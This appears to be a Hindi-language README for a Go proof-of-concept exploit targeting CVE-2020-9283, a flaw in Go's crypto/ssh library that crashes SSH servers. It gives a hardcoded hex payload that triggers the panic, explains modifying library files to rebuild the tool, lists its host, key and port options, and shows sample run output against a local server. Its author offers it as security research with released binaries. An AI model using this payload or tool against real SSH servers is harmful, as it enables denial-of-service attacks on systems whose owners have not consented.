
CVE-2020-9283 के लिए Go-आधारित एक्सप्लॉइट
CVE-2020-9283 के लिए एक्सप्लॉइट
यह प्रोजेक्ट github.com/mark-adams/exploits/CVE-2020-9283 पर पाए जाने वाले मूल POC से प्रेरित है। मैं उत्सुक था कि Go SSH लाइब्रेरी कैसे लागू की गई है, इसलिए मैंने go का उपयोग करके PoC को लागू करने का निर्णय लिया।
एक छोटा लेख यहाँ पाया जा सकता है https://dev.to/brompwnie/modifying-go-s-crypto-ssh-library-for-cve-2020-9283-26a7
यह Go-आधारित SSH सर्वर पर panic उत्पन्न करता है जिससे DoS हो सकता है।
मैंने Release अनुभाग में बाइनरी जारी किए हैं, हालांकि आप संलग्न स्रोत कोड का उपयोग करके अपना खुद का पुनर्निर्माण कर सकते हैं।
मैंने इसे समझने के लिए सीधे अपने सिस्टम पर Go क्रिप्टो लाइब्रेरी को संशोधित करने का निर्णय लिया, यह आदर्श नहीं है और शायद ऐसा करने का सबसे अच्छा तरीका नहीं है, लेकिन यह काम करता है ;) यदि आप GO मॉड्यूल का उपयोग करके पुनर्निर्माण करना चाहते हैं, तो अपने स्थानीय सिस्टम पर Crypto/ssh फाइलों client_auth.go, handshake.go, transport.go की सामग्री को यहाँ स्थित ".bak" फ़ाइलों से बदलें। ये संशोधित फाइलें वर्बोज़ डिबगिंग आउटपुट और "0000000b7373682d65643235353139000000156161612d616161612d61612d6161612d6161616161" का एक हार्डकोडेड पेलोड रखती हैं जो panic को ट्रिगर करता है।
आप बहुत सारा डिबगिंग आउटपुट और "errors" देखेंगे, यह अपेक्षित है। यदि आपका लक्ष्य panic कर चुका है, तो आपको "bad key lengths" से संबंधित त्रुटियाँ दिखनी चाहिए। यदि आप इसे स्थानीय रूप से परीक्षण करना चाहते हैं, तो यहाँ पाए जाने वाले कमजोर कोड का उपयोग करें github.com/mark-adams/exploits/CVE-2020-9283
# ./CVE-2020-9283 -h
Usage of ./CVE-2020-9283:
-host string
IP address of SSH host to target (default "localhost")
-key string
ssh-ed25519 private key to use (default "thekey")
-port string
Port to target (default "22")
# ./CVE-2020-9283 -port=2022
./CVE-2020-9283 -port=2022
+] Sploit for CVE-2020-9283
[+] Attempting to pwn: localhost:2022
[!] Attempting: cMSG_USERAUTH_REQUEST
[+] userAuthRequestMsg User: notme
[+] userAuthRequestMsg Service: ssh-connection
[ERROR] ssh: handshake failed: EOF
[+] This should have invoked a panic on the SSH target i.e 'panic: ed25519: bad public key length'